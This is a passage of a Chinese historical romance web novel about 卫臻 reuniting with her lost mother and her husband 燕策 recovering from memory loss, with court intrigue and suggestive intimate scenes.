“若有,她可能是”话未说完,喉间就开始发哽,深吸一口气,她嗓音颤|得厉害,“是我娘。” 语落,眼泪就止不住地往下砸。 苏兆玉瞳仁微缩,难以置信地望向身旁的乔娘。乔娘那里确实有胎记。 “我” 乔娘再一次细细打量她的眉眼,想说些什么,一开口却也眼眶发|胀,最终指尖颤|抖着抚|上卫臻面庞,帮她擦眼泪。 卫臻将脸颊深|深|埋|进乔娘掌心,轻|轻|蹭|了|蹭,很温暖,带着股淡淡的让人安心的香气,与记忆深处阿娘怀抱的气息重|叠。 苏兆玉怔怔望着这一幕,忽而想起头一次见卫臻那日,她回去还与乔娘开玩笑,说卫臻长得像她一样好看。 没成想,二人真的有可能是母女。 卫臻试探着用溧语去喊阿娘的名字:“诺敏” 乔娘摇摇头,也用溧语应道:“我不记得,好多事都忘了” 感觉心里有张网,破了好几个大窟窿,什么都捞|不起来,她望着眼前的卫臻,忍不住也急得掉眼泪。 “你,”卫臻猛地抬头,有些语无伦次:“你会说话!会说溧语,你是,你就是我娘。” 说完就呛得咳嗽了下,唇|瓣张|合,想喊阿娘,却喉间发哽,好半晌没发出动静。 待情绪平静些,卫臻转向苏兆玉:“苏娘子,你们可曾去过益州?我娘就是在那里丢的。” 眼前两张面容越看越相似,苏兆玉轻叹道:“确是十年前在益州遇见姐姐的,具体哪年记不清了,当时地里最后一茬竿蔗已经割完了” 相隔太久,很多事苏兆玉也不确定,把自己能想到的全都细细说与卫臻听, “那时她什么都忘了,只记得个‘乔’字。” “不是,不是乔,”眼泪已经糊了卫臻满脸, 她一个劲儿地摇头,“是翘翘,是你给我起的小名。你的本名叫诺敏。” 诺敏把卫臻搂入怀里,哽咽着,一口气半晌才喘匀:“翘翘我的孩子。” ** 竹影婆娑,枝叶间投下斑驳的日影,轻风裹挟着袅袅茶香在窗前流转。 依旧是二人上次相会的那处宅院,依旧是日铸雪芽。 梁王妃指尖抵着青瓷茶盏向前推去,腕间玉镯碰出清脆的响, “我与卫郎相识,二十二年了。” 看着对面的卫含章执起茶盏,茶汤入喉的声音让她眼睫轻|颤,“当年我被家中逼迫,入了王府,卫郎也远去益州,你我从此就” 她忽而抽泣,卫含章用带着茶盏余温的指腹为她轻拭眼泪,“你哭的样子还和当年一样。”透过她的脸,他忍不住去回想自己年少时的一幕幕。 “卫郎,你是不是永远都不会怨我。” 得了他的保证,梁王妃再次执壶,手不住地抖,看着茶汤缓|缓|注|入卫含章眼前的杯盏。 而她自己面前的茶,始终未曾动过。 ** 燕策下值前去找了程医官,把昨日在|榻|边发现的药瓶拿给他看。 程医官与燕策多年相识,只瞥了一眼,连瓶子都没打开就认出来了,因为这是当初他开给燕策的避|子药。 “避|子药?”燕策扬了扬眉。 果然,不可能是她说的什么强|身的药。 也不知先前她是怎么问的,竟然会有这种误会。 程医官见燕策这次神色有异,又给他把脉:“气血淤滞,脉象沉|涩,施针化瘀或可有些益处。”说着就要去柜子上取针来。 “改日吧。”现下有些晚了,若针灸回去,天都黑了。 见燕策急着要往外走,程医官又嘱咐道:“还有这药,你不能天天吃,原是告诉你行|房前一个时辰服用,每日一次即可。可从这脉象判断,近些时日|你每天都服用好几回。” 燕策顿住:“我吃药,药性会对她身体有亏损吗。” 程医官连连摆手,“夫人无碍。是你,太频|繁了,一来纵|情|难免会伤|身。二来,依你体|内|积|攒的药性,若日后想要子嗣,你需得提前三月停药调理。” 燕策这才松了口气。 急着赶回府,却得知卫臻一日未归,他又寻到昨日那处私宅,知道屋内除了卫臻还有旁人,燕策没直接进去,让祝余进去把她喊出来。 她此刻脸上没有挂泪,但薄薄的眼皮泛|着红,燕策把人拉至怀里,“怎么哭了?” 卫臻摇摇头,有些犹豫要不要告诉他。 前额抵在他肩头,想了想最终还是讲了:“我找到阿娘了。” 燕策很意外,他失忆后去重新了解过卫臻的亲缘关系,知道早在益州时,她母亲就过世了。 卫臻把内情简单跟他讲了一遍,又带着燕策进了屋。 燕策并没有把卫臻同别人的相貌做过比较,但是眼下听完她说的话,仔细端详着二人的面容,发现卫臻确实同诺敏生得很像。 卫臻主动开口介绍:“阿娘,这是我的夫婿燕策,在家中行六。” 燕策恭顺行礼,“岳母大人。” 卫臻又在一旁戳戳他的手臂,虚虚指向一旁的苏兆玉:“还有姨母。” 燕策便跟着喊姨母。 暮色四合,后厨备下一|大桌子菜,卫臻还让人去永安楼里另外买了些她爱吃的。 她的口味随了阿娘,她爱吃的菜肴,阿娘定然也会喜欢。 玉板鲊、五柳鱼、胭脂鹅脯、三脆羹、元羊蹄、胡麻油酥饼还有温得恰好的酒酿。 几人一齐用的晚膳,卫臻心里高兴,让兰怀和祝余也坐下,哭哭笑笑的,一顿饭吃到好晚,窗外早已星子满天。 一直待到亥正时分,燕策起身|欲携卫臻回府。 卫臻微微有点醉意,靠着诺敏的肩,讲自己今晚要跟着阿娘歇下,让燕策自个儿回去。 燕策劝了半盏茶的工夫,她也没改主意,最终他只得妥协。 不放心她宿在外面,他便转头吩咐侍从去把隔壁院子收拾出来,他今夜歇在那。 “你得回去呀,” 她喝醉后,口音就更明显了,尾音往上翘着, “吠星还自己在家里呢,没人陪它,它肯定等到好晚。” 燕策:“” 怕狗没人陪,怎么不担心他一个人睡不好。 “有侍女陪它。” 被她拧了一下,他改口:“明晚我让人把它送来——如果你还宿在这里。” “什么嘛,你该回去,把狗接来做什么。” “你在哪呆着,狗就在哪。”想亲她,但是知道眼下不太方便,燕策走之前只捏|了捏|她柔|软的手掌心。 他素来没有失眠的烦难,今日却怎么都睡不着。手几次往旁边探,却都空荡荡的。 辗转反侧许久,才缓缓入梦。 几株桃树倚着白墙,枝干横斜,缀满了桃花,微风拂过,满树浅粉簌簌地摇,花瓣打着旋儿落在石板路上。 燕策靠在燕敏院中廊下的躺椅上偷闲,侍从端来两盏汤药,他摆摆手让人搁在一旁小案上。 太苦了,他不喜欢喝。 一阵脚步声走近又停了,燕策以为是侍从,很快却又听见珠子“噼里啪啦”落在地上的声音,伴随着女郎的惊呼声。 是她。 俯身把散落的珠子捡起来,却听见她道:“多谢二郎君。” 二郎,是兄长。 她把他当成了兄长。 心头的不满把燕策从梦中拉扯出来。 是梦。 屋内极静,只有窗外一两道虫鸣和他低低的呼吸声。 方才的画面,正好是他失忆后,记忆停留的节点。 有些分不清哪边才是梦。 为什么她会把他错认成兄长。 没缘由。 他记不得二人因何成婚、以及婚后朝夕相处的点点滴滴,眼下只能妄自胡乱揣测。 燕策能很强烈感觉到,即便忘记了很多,但自己也本|能地被她吸引着,无时无刻。 心跳比记忆更早被|唤|醒。 那她呢。 远远传来更漏声,寅时了,燕策才再次睡去。 梦里的丝竹管弦之声接替了更漏与虫鸣。 派去保护卫臻的祝余神色匆匆来报信,讲卫臻赴宴被人下药了。 燕策穿梭在千春楼内的觥筹交错与云鬟香风里。 霜雪覆顶,孤云低垂,他生出惧意。 怕寻不到她。 路上他半句话都没跟一起寻人的侍从讲,似被雪压住了喉咙。 好在,找她的时候,天意也相助。 很快燕策就在回廊处看见了卫臻的身影。 时序隆冬,她手烫|得|厉害,燕策觉得捧了一簇将熄未熄的炭火,却较炭火柔|软百倍。 她远比他想象的要轻很多,抱她走的时候寻不到实|感,他手都不知道该往哪儿|落。 北风卷着碎雪,扑簌簌拍|打窗纸,一切都和书上说的很不一样,好像根本没法。 他从来都不知道女郎可以流|这么多的眼泪。 不知道她是不是难|捱。 因为他很|疼。 想亲她的脸,她的唇|瓣。 但这些不是必要的。 若在她意识不明时亲|她脸,是冒|犯。 热意漫|上他的唇|瓣和鼻尖,卫臻哭了好几次,高热才堪|堪|退|去。 最后,她闷|泣着,很|轻地喊了一声:“燕筠” 兄长的名字。 燕策整个人怔住,眸底沉沉,喉结缓|慢|滑|动。 她哭的时候,在想着谁。 北风呼啸,窗扇大|开,刺骨的寒意涌|入屋内。 燕策从梦中被激|醒,周身凉津津的。 躺在枕上,后脑处的伤口有些扯|到了。 垂眸瞥了眼,疼得厉害。 第5章 燕策抬手揉了揉眉心,有些不确定那是真实的过去,还是他做的梦。 他清楚记得梦里她领口处上的小绒|毛。 她的一只耳坠勾在他外袍上了。 她还流了很多眼泪,把他的衣裳都打湿|了。 若都只是他一个人臆想出的梦,也太真实了些。 有太多话想同她讲,但眼下又不是好时机,只能等晚上回府后问了。 金乌高悬,燕策收拾好情绪,去了正厅等卫臻。但侍女讲卫臻昨夜熬了大半宿,一直在聊天,今个怕是要起得很迟。 他便自个儿先用了早膳去上值了,临出门前把周回留在这边,又拨了几个得力的护卫过来。 因为卫臻昨日提过,今天想出去置办套宅院,好让诺敏与苏兆玉住下。这般多几个人跟着,更稳妥些,也方便采买日用。 日上三竿,被喊了好几回,卫臻才磨|磨蹭|蹭起身,坐在床榻边,贪恋地抱着诺敏的腰,“阿娘给我梳头。” 诺敏摸|了摸卫臻毛茸茸的发顶,执起乌木梳,指尖穿过缎子似的长发。 她下意识想为女儿盘双髻,突然想到卫臻已经成婚, “我的翘翘长这么大了。” 造化弄人,女儿的人生大事,她没能陪着。 昨夜卫臻讲述的种种往事她虽记不清,但母女天性是最无法泯灭的。 卫臻的头发被梳成精巧的交心髻,两边各插了支金色的蝴蝶簪,上边的小触|须不停随着她的动|作晃|啊晃。 苏兆玉还变戏法似的临时拿丝线做了三个红色的小绒球,戴着卫臻发间,显得更可爱灵动。 京里宅院买卖与别的地界不同,门道更多,那些能在天子脚下置办宅院的人家,即便空置多年,也鲜少有舍得出手的。 周回领着两个身着灰白长衫的房牙子进来时,卫臻还有些意外,她原已做好了耗上三五日的准备,谁曾想不过半日功夫,就寻得一处合适的宅子。 是位要告老还乡的医官的住所,那宅子虽不算轩昂,却处处透着清雅,能看出主家平日里是用心打理的。 三进的院落,能住下一家好几口,若两人住,再添置些仆役,也不会显得过分空旷。 后院还开垦出一小片药田,引来的活水在石槽间潺潺流动,往后可以在这侍弄些花草。 最妙的是这宅子离国公府不过两条街的距离,坐马车一盏茶的功夫就过去了,平日里走动也方便。 几人商议过,几乎是一拍即合,全都满意,但没成想主家开的价是十五万两。 诺敏闻言立即蹙起眉头,劝卫臻算了,十五万两,天价,她想都不敢想。 卫臻却连价都没往下压,直接买了,让人去签房契过户,“能寻到合心意的宅子就算咱们今个运气好啦,没想到能这么顺利,阿娘就安心住下吧。” 吩咐完底下人去置办大宗物件,卫臻又唤了绣娘,给诺敏与苏兆玉量|体,做些应季的新衣裳。 “可真是”苏兆玉一个劲儿地高兴,“从前都是咱们给别人家做绣活,这还是头一回请人来做衣裳,这料子真好啊。” 卫臻听了,心里却有些发酸, 两人几乎不跟她讲这十来年的艰辛,只捡有趣的,还一直说有好些人帮过她们。 可卫臻总是忍不住顺着对话时的一些细节去脑补她们的不易, 她看了看窗外,缓缓舒出口气, “往后咱们只穿最好的。” 卫臻本想晚上继续同阿娘敏宿在一处,没成想燕策的随从来了,讲燕策的伤出了点岔子,措辞很是微妙,卫臻细问,随从却只恭顺地请她亲自回府看看。 卫臻回去一瞧,他脑后的纱布确实散着, 她没好气地直接问:“是不是你自己把纱布扯开的。” 而后在燕策错愕的神情中继续道: “你失忆前就老这样做,少跟我耍这些小花招。” 她嗔他一眼,但还是给他重新上药包扎伤口,这使得燕策有了顺杆爬的底气: “你不在,我一个人老做噩梦,狗也一直叫——嘶。” 卫臻故意拿擦拭伤口的酒液辣他一下,有些疼,燕策眼尾瞬间红了。 等到包扎完,他又问道:“我耳朵上是怎么弄的?” 卫臻视线顺着他的手,落在他的耳洞处,“怎么,给你穿|个孔你就要生气吗?” 望着她蹙起的眉毛,燕策好笑道:“到底是谁在生气。” “我的意思是,另一边为什么没有?” “因为你当时疼|晕|了,抖得像筛糠,没法再给另一只耳朵——” 卫臻的尾音消失了。 因为他直接把人扯|到|腿|上,用唇堵|住她的胡话。 等到她|喘|不动气才松|开,燕策蹭|蹭|她的额头,“明日给我戴个耳饰好不好。” 今日他眼前总是浮现出一些散碎的画面,好像她曾经给他戴过首饰。 卫臻却没有动,与他对视几瞬,蓦地问道:“万一你永远记不起来怎么办。” “是怕我失忆了不记得你以前的习性,进而惹你生气吗。” 卫臻摇摇头,“不是这个。我们成婚,本就非你自愿,眼下你又什么都不记得了,大抵用不了多久你就——” 燕策再次亲了她一下,没让她说完, “失去记忆,于我而言,就是重新对你好奇一次。” “旁的都如旧,我不会因为失去一段记忆就性情大变,负心薄幸。” 卫臻应了一声,趴在他肩头,无意识扯着他垂下的发丝。 “那你呢?”他问道。 “我——就还好啊。”她拖长调子应着,这种问题怎么回答啊,她可说不出酸溜溜的话。 见她不想回答,他又提起最|要紧|的,“昨日翘翘答应主动帮我。” 卫臻嗯嗯|唧|唧着想耍赖,脖颈后的系|绳却被他用齿尖咬开了,“你怎么又突然这样啊。” “不是突然,刚才上药时就已经。” 月向西斜,屋内点着好几盏灯,明晃晃的,二人正坐在同一张圈椅上,就紧|挨着最亮的灯烛, 卫臻直摇头,“去榻|上。” 他兀自忙着,没理她,卫臻又继续打商量,“那把灯熄掉好不好。” 燕策抬起漆黑的眸: “点着灯,你才能看清我是谁。” 在燕策的视角里,她连着两次把他认错了。 卫臻不懂他这莫名其妙的话,被他扰得不行,她抬手解下身后的发带,蒙在他眼睛上。 这般,她的耻感能少几分。 旁边的蜡烛燃了一|大截,卫臻眯着眼睛,趴在他肩头耍懒,他只得帮她一次,又提醒道:“别耍懒,到我记起来为止。” 眉眼被遮住,就显得他的下颌与唇部线条格外昳丽,但说的话却没有一句是卫臻喜欢听的,她气急,给了他一巴掌。 这一下其实打得燕策头有些晕,但他分不清是痛还是快|意,只顺着她轻飘飘的力道仰起下颌,“不如上次扇得|爽。” 卫臻被扰得分不出神,也未曾去想:其实自从燕策失忆后,她一直没扇过他。 在她|趴|在他怀里|抖|的时候,他忽而一顿,问她:“为什么对着我喊兄长的名字。” 卫臻眼眶都红|了,怎么能在这个时候拷问她,腰被他钳制住,躲不开他的问题,“我,我什么时候?” “第一回,千春楼那日。” 二人就这么僵持着,互相盘问了好久的细节。 卫臻忽而想到了一种很荒谬的可能:“那时我说的是‘要晕了’。” 掺|了哭|腔时,她说话的调子就有些变,甚至可能“了”字还没来记得说完就晕过去了。 被他误听成燕筠。 燕策瞬间就接受了她的话。 因为知道她懒得花心思骗他,若是不想回答,她会直接耍横,不可能编出个理由。 心头介怀尽消,他开始主动帮她,抱着她往妆台边走。 “走的时候不行你还蒙着眼,别磕到了。”好不容易才被他抱到妆台上,卫臻指尖触到冰凉凉的物件,借着烛光一看, 是她那把遗落在外面的匕首。 “你把这个找回来了啊。” 他应了声,很快卫臻就没心思继续管匕首了,“当啷”一声,金属掉在地砖上,她瓮声抱怨,“要掉地上了。” 燕策没管,“丢不了。” “不是”她说的不是匕首。 屋内的蜡烛几乎都燃尽了,只剩俩人旁边那盏,将灭未灭,暗夜中有蜡液|顺着满|溢的托盘滴|滴|答答往|下|淌,外边起了凉津津的风,把烛芯熄灭后的浊|一点点散去。 回忆与快|意纷|至沓来,他下颌抵|在她肩窝处,缓了好久,又去亲|她柔|软的脸颊,“上回我戴的那个铃铛,收在哪里了。” 卫臻还在失神,本能地应答:“在我装耳珰的小匣子里——” 倏然间,最后一盏灯烛灭掉,骤然降临的黑暗让卫臻整个人一|缩,她又意识到什么,思绪瞬间清明, “你你是不是记起来了?” 给他扯下发带的时候,她被余温影响着,手还在抖。 “是。”他嗓音低|哑,眼尾泛|着红,瞳仁却异常润|亮,在夜里与她对视。 “什么时候?” “方才,你扇我那一下。” 卫臻用额头撞|他,“我跟你说正经的呢。” “这就是正经话,” 燕策闭着眼睛亲了她一下, “翘翘是小神仙,妙手回|春。” 低声细|语荡|入|深|浓夜色里,窗外偶有一两声虫啼,窸窸窣窣,轻飘飘的。 夏夜的风把月色也吹得温柔,一切都合时宜。 【完结】 第51章 回府后,燕策径直去了前院书房。 他要快些掌握现下的局势,不能耽误正事。 虽失了记忆,但兵法韬略刻在骨子里,在亲信的协助之下,燕策很快便理出了头绪。 公事他有法子理顺,可是私事没人能同他讲。 想到此处,燕策有些不知所措,进屋后抬手揉了揉眼眶。 很不适应现下这个状态,他好像只是睡了一觉,醒来后,周遭的一切就都变了。 衣橱内添了许多件月白色的衣裳,他不喜欢。 像是把兄长的衣裳挂进来了—— 兄长也过世了,就发生在他丢失掉的这段记忆里。 燕策不是优柔的性子,但此刻胸腔内却像压了块石头。 与兄长的感情称不上多亲|密深厚, 但醒来骤然发现亲人离世,且其他人都反应平平——因为在他们的视角里,这已经是许久前的事情了。 这使得燕策有种说不上来的感觉, 恍惚间觉着自己被遗在了某个路口。 定了定神,他继续打量衣橱。 里边是二人应季的衣裳,很多件颜色鲜亮,是她的。 最边上挂着几条用料极讲究的罗裙,轻纱质地,怕是稍用些|力就会揉|出皱,被格外仔细地单独挂着,占了大半个衣橱。 两人其余的衣物则混在一处。 燕策不自觉地蹙眉,因为有些乱。 为什么不一人一个衣橱分开收纳。 “嫌乱吗?” 身后突然响起道清凌凌的声音,他回过身去看卫臻。 她把外衫褪|了,里边是件水绿色的主腰,十分*显白的颜色,两条带子在光|洁肩头打着漂亮的结。 主腰有些短,露|出细|细一条竖着的肚|脐,像枚小柳|叶。 底下是条素色的灯笼裤,料子顺|滑,垂坠|感很|强,走动间像水纹荡开。 她骨架小,腰很细,但肚子上软|肉|多,裤腰上的系|绳微微|陷|入|小|腹。 似是被系|绳勒|得不太|舒|坦,她随意挠了一下,白|腻的小|腹很快留下几道红|色的印|子。 头上发髻也被她拆了,发顶软|茸|茸的,几缕碎发在她脸颊旁翘着。 燕策没说话,卫臻就当作他在默认,对着衣橱没好气地继续道:“乱也是狗翻的。” 两人刚成婚时衣橱是很整齐的,二人的衣裳泾渭分明。 后来他自己早上更衣,以及每回事|后卫臻让燕策帮忙拿衣裳,他都会故意挑挑拣拣找出来好几件,再挂回去, 这般刻意地把两个人的界限打乱。 卫臻话音刚落,燕策垂眸看了一眼跟在她身后那只幼犬—— 据说是他养的, 但自二人回来后,这狗明明一直在跟着她打转。 这么小的狗,能够到这些挂起来的衣裳吗。 燕策不太信。 卫臻没同他再讨论这个话题,取出要穿的衣裳就进了浴房。 燕策继续在屋内四处打量,试图记起些什么。 床|榻换成了一张更大更精美的拔步床。 上边的被褥是很浅的粉色,绣着花,枕头也是。 燕策没忍住多看了几眼, 他用这种颜色吗。 靠里边的枕头旁搁着个话本子,还有条鹅黄|色的发带。 话本倒扣着,封皮花花绿绿,名字起得很是|大|胆。 燕策拿起来扫视几行, 原来书名已经在|含|蓄|了。 很快他把书按照原样倒扣回去。 虽记不起了,但他本能地觉得不能弄乱,她会生气。 里间一角摆了张很大的妆台,燕策记得这里原先是个博古架。 生活里突然多了许多属于女子的物件儿,他尚不能完全适应。 燕策靠在床|榻一旁思索着,膝盖碰到矮柜门,里面“咣当”一声,他拉开来看。 是几个小药瓶。 他不知道是治什么的药,但是就藏在床|榻边,想来不是她的就是他的。 凭借方才在屋内看的那一圈,燕策能感觉到,她的物件儿都大喇喇地摆在各处,不避人,至少不避他。 那这药,大抵是他的。 燕策摩挲了良久,打开嗅了嗅,很熟悉的味道,像是他以前经常吃的,但是记不起来。 卫臻手腕上有擦伤,一个人沐浴不太方便,这会子又和燕策有种说不清的生疏,她便让兰怀进来帮她。 但即便很小心了,手腕上擦伤处还是不可避免地沾到水。 挺疼的。 兰怀眼见包扎好的一圈纱布沾了水,忙更快地帮卫臻把头发冲洗干净,出去后给她手腕重新上了药。 刺痛让卫臻想起燕策后脑的伤,他伤得比自己重,只会更疼吧 况且,他是为了救她才受的伤 方才不该呛他。 等到包扎完,兰怀从屋内退了出去,燕策拿着方才发现的药瓶问她:“这个是什么药?” “我怎么知道,这是你的东西,”卫臻看了一眼,“从哪里找出来的啊。” “紧挨着床|榻边的矮柜。” 这个位|处卫臻好像知道是做什么的了, 她嗓音含糊:“是,是强|身的药。” “嗯?”燕策不解。 “就是你不太|行,若不吃药,只能半刻钟。” 她这会子说话不像方才在衣橱那里时带着刺,是很舒缓真诚的语调,不像是在故意拿话刻薄他。 但燕策本能地不信:“不可能。” “我只是失忆了不是变成傻子。” “你先问我的,我说了你又不信,那你出去问别人。” “这种事你让我问谁。” 卫臻凭白张了张嘴没说出反驳他的话, 好像,确实只能问她, 想了想又道: “失忆了就知道嘴硬,我曾因为药的事问过你,你当时亲口承认了的。” 见她言辞灼灼,燕策没再反驳, 他觉得问题在药上,明天得找人问问这药到底是做什么的。 见她要走,他伸手把她拦住,转而问起旁的:“我以前怎么喊你。” 她没好气道:“卫臻。” 这个名字于燕策来说很熟悉,与他自己的名字一样熟悉,一听见就像某些记忆被唤|醒。 但不对,不是这个。 于是他试探着喊: “阿臻?” 好像也不对。 卫臻该继续生气的,可心头蓦地涌上一阵酸涩,像是被人狠狠攥|了一|把。 他怎么真的忘光了。 她垂下头拿玉梳无意义地梳拢着发梢,没再讲话。 夜深人静,烛影摇曳。 卫臻睡前也没心思看话本子,脸埋在毯子里,纤细的身子蜷缩,背对着燕策想事情。 思绪如乱麻。 她被绑一事,父亲已然脱不了干系,也没有与他心平气和谈话的必要了,从段青颐的反应就能猜出来—— 段青颐是梁王妃与父亲的孩子。 想到此处,卫臻攥紧了毯子,段青颐只比她小不到一岁,那父亲应当是回京述职时与梁王妃 在他做出那些对不起阿娘的事情时,阿娘还怀着身|孕。 卫臻替阿娘不甘。 阿娘 一想到此处,卫臻又忍不住再次回忆白天遇见的乔娘。 明知道人死不能复生,可她心底就是隐隐有个梦不愿意戳破。 万一,因缘际会,老天把阿娘还回来了呢。 哪怕是梦,她也要探寻个究竟。 明日得去找苏兆玉和乔娘再说说话。 卫臻正思量间,突然又想到被绑时听见的那些细碎的话,兴许有些用处。 翻了个身,正对上燕策的视线。 “你别看我。”她平躺着别过脸去,声音闷闷的。 “头疼,只能侧卧。” “那你闭上眼。” 因着受伤,他面庞仍有些苍白,顺从地合|上眼,细密的眼睫在脸上投下一小片阴影。 卫臻这才低声道:“我是被段青颐骗去的,可那些看守我的人说的都是突厥语,” 她顿了顿,问出自己的猜测,“梁王是不是与突厥的人勾结在一处了。” 燕策对她说的话并不意外,应了声。 “他们还提到了鹰嘴崖—— 卫臻蹙眉思索着,“我也不确定是不是这地界,你曾带我去过那附近,我记得崖下有暗河。今日下雨,那些人提到冒水,什么货淹了,他们说话断断续续的,我听不太真切。” 燕策倏地睁开双眼。 接着就要坐起身,动|作太|急,脑后又是一阵眩晕。 卫臻忙不迭撑|起身|子扶着他:“你又折腾什么,”眼瞅着他下榻后要穿外袍,“现下这样你也没法骑马出去,至少今晚不行吧。” 又折腾什么。 燕策忍不住在心底细细回忆着这句话,好像她以前经常这样说他。 很快他把注意力转移回来,对她道:“不出府,我去书房写封书函让人送出去,你安心,先睡。” 听着燕策的脚步声渐渐消失在院里,卫臻才躺回榻上。 窗外月色如水,透过雕花窗棂在地上投下斑驳的影。 卫臻忽而又想起那把救了自己一命的匕首,可惜如今不知落在何处。 她第一次杀人,太过慌乱,当时忘了该把匕首收回来,连刀鞘也一并遗失了。 这般翻来覆去想了好多事,心头像一团理不清的丝线。也不知躺了多久,半梦半醒间听见燕策回来了,卫臻这才沉沉睡去。 晨光熹微,薄雾笼罩着庭院。 燕策一睁眼,还是没能记起来。 尚未醒神,他有些分不清哪边才是梦。 不知道什么时候卫臻睡到他怀里了—— 燕策也不确定她是在无意识撒娇还是在踢他。 主腰宽松,全都卷到上边去了。 他有些不敢看。 那些大大小小的印|子,新旧交叠,燕策从颜色推断,最新的大抵是自己前|夜给她留下的。 除了衣裳|遮|不住的肩颈,其余到处都是。 他有那么夸张吗。 卫臻像是要醒了,脸颊不|住地往他颈窝处|拱,一条腿也抬上来|压|在他|身|上。 燕策虽失了记忆,但许多事几乎是本|能, 他垂眸往她光|洁的肩头看,一眼就寻到了那颗小痣。她第二次在他怀里哼|唧时,燕策没忍住低头亲|了亲|她肩头的痣。 卫臻是被亲|醒的,睁眼时整个人委|顿在他怀中,呼吸间全是熟悉的清冽香,唇|瓣被他|咬|得有些|麻。 意|识尚未完全清|醒,一切回|应都是日复一日中建立起的本|能,卷起的主腰硌|得她不舒|坦,卫臻嗯嗯|唧|唧着往他身|上|靠,小|裤堆|在膝|弯,窗前的花枝沾着晨雾,在风中扑簌簌摇|曳,送来阵淡淡的甜香。 等到她喘不动气了,二人的唇|瓣才分|开。 燕策低头亲|了亲|她薄薄的眼皮:“我们以前感情如何。” 卫臻心里的泡影一下子被|戳|破了,想起他还在失忆,她心里皱巴巴的,忍不住瓮声说着气话: “没感情,不怎么熟。” 明明她才是与他最为亲|密的,可他偏偏就把她给忘了,烦人,卫臻挣|扎着要起|身|下榻。 燕策摁着她后|腰把人拦住,“你和关系不熟的人会这样说话吗。” “反正你都把我忘了,又要做什——”尾音没来得及说完,她抬手在他喉|结旁挠了一道。 晨雾似轻纱般笼着园中花木,轻风拂过,檐角铜铃叮咚响,惊起几只尚在栖息的鸟雀,鸣啾啾飞出来转了一圈,又很快回到窝里边。 燕策答道:“去里边,回忆一下。” 里间处处可见他这两年生活过的痕迹,但这不够。 许多事,要置|身于此,才能切|实体会。 上药的软布包得太|紧,脑后的伤亦有些|疼,他额角|跳|了|跳,仍在催促:“告诉我,以前怎么喊你。” 卫臻不住地摇头,“你在盘问我。” “怎么会是盘问,在求|你。” 金乌渐升,沸沸扬扬掺明了万物,直到大雾尽消,她才把名字给了他: “是翘翘。” “翘翘。” 这回对了。 他眉眼一|舒,下颌抵|在她颈|窝处闷|喘,重复着她的名字。 第52章 段青颐几乎是一|夜未眠。 提厉死|了。 未曾料到事态会发展成如今这般,是她撺掇他去害卫臻的。 段青颐虽不可惜提厉这个废物的性命,可他到底是突厥王子。 想到父王近来与其其格来往密切,这个时候她的弟弟却因为自己而死 段青颐不敢继续思虑后果,指甲深|深掐进掌心。 不行,得把自己摘出去。 天一亮,让侍女打听过梁王昨夜未曾回府,段青颐便径直往梁王妃的院子走去。 只有再借母亲之手,才能让那个姓卫的毫无防备,进而找机会不费力地除掉他。 段青颐过来时,梁王妃尚在梳头,待屏退左右,她被段青颐这个念头吓了一跳,手中梳篦掉在妆台上, “青儿,不可,他终究是你的” “母亲又犯糊涂了,这个时候岂能讲私|情!况且,他也未必多爱重您,若真对您用情至|深,又怎会另娶她人,生下卫臻?” 段青颐突然倾身上前,盯着梁王妃躲闪的双眸: “这个男人,薄情寡义,虚伪又让人恶心。” 梁王妃浑身一颤,嘴唇张|合,终是什么都没说出口。 “母亲,”段青颐趁|势握|住她冰凉的手,声音放得极轻, “只有女儿,才永远跟您是一条心。趁着事态还未发散,此时下手尚来得及,只要除掉姓卫的,提厉的死就与我们母女无关。想来卫臻也不敢把这事捅破,若陈年旧事尽数抖搂出来,她姓卫的一家子都会被父王迁怒。” ** 天色微明,园中薄雾如纱,裹|着几株半开的月季,叶片缝|隙间挂着雾气凝成的露,滴|滴|答答往|下|淌。 后腿|弯处软|肉被裤腰勒|出印|儿,卫臻哼|唧着抱怨,烟粉的软料子得以被彻|底褪|下。 燕策原样儿把人捞|起来,拨|开帐子抱着她往外走,卫臻趴|在他肩上,瓮声问道:“什么时辰了。” “还不到辰时。” “得快些收拾。”她今个还得出门,不能由着他耽误功夫。 浴|房内的小杌子不知道被挪去哪儿了,往常她都是坐着等他兑完水。 若是留在她|那了,卫臻会先去屏风后面收拾妥帖。 有时候不用多解释,骂他一句他就知道给她拿更多棉帕。 这份默契随着他记忆的丢失,被打|破。 二人踩在地面上,怕她摔了,燕策一直紧|紧|握|着她上臂。 尚被钳|制着,导致卫臻的脚有些够|不着地。 窗外月季在雾里馥|郁着,卫臻吸|了吸鼻子,满是花香。待他|退|让,她才踩|到实|处。纤薄的肩微|耸,卫臻伸长手臂拿起竹瓢,舀了清水慢慢|淋,哗啦啦淌|到地上,携着泪一般的温|热。 细|窄的楠竹舀子,蓄|满温|热的水,淌|了好|久。她前额抵|在他肩上,细密眼睫似一排小刷子,扑簌|簌|颤|着。 地上铺着防滑的苇编软席,细小的瀑布缓|缓划|过几个弯,顺|着纤细的脚踝流|淌到地面,蜿蜒汇集在浴房一角的排水口,打|着旋|儿消失。 卫臻只觉踩|在层薄薄的泥|沼上,垂眸看了眼,热水举起的雾涌|上来,托|举着白茫茫。 浓重水雾凝在苇条编的席子上,被晨光一照,丝|丝|缕|缕的银亮。 她够|不到一旁装着热水的桶,待流|尽|了,燕策把她手中的竹瓢接过来,又舀了热水帮她淋着。 他手|劲儿|大,有些收|不住|力,竹瓢中的水流不怎么缓慢地倾|泻,卫臻掐了他一下,瓮声抱怨:“以前不是这样收拾的。” “那是怎样。” “结|束后都是我坐在那边,”她伸手指了指一旁的屏风,“等你往桶里兑热水。” 他应下,话语间姿态很是驯顺,却依旧这样抱着她,因为, “没说结|束。” 又过了一个多时辰才收拾妥|帖。燕策虽失了记忆,但性子未变。 因此很多下意识的习惯都还和之前一样,会自然地做一些卫臻无比熟悉的动|作: 爱在后|面抱着她,半边身量压|在她颈窝处,一直到她站不|稳冲他抱怨。 不喜欢坐着,喜欢站着。 往手臂上戴护腕时,先绑左边的。 让她踩在他脚背上。 她一蹙眉他就知道换左手。 最喜欢那条黑色带兽纹的革带。 喜欢揉|她的小|腹 卫臻望向他更衣的身影,很多次恍惚,忍不住去想他是不是记起来了。 于是在燕策走过来时,她问道:“有用吗?” “嗯?” “方才那样,你记起什么了吗。” 早上时间仓促,她不确定有没有用。 燕策喉结轻|滚,其实没有。 只记得抱|她的时候|软|很|热。他刚要开口,门边传来动静,两人一齐望过去,是吠星在拱|门。 吠星是只毛很|长很蓬松的小狗,喜欢用脸开门——也可能是鼻子。 总之在门被推开之前,是它脸颊旁蓬蓬的毛,率先被门挤|扁。 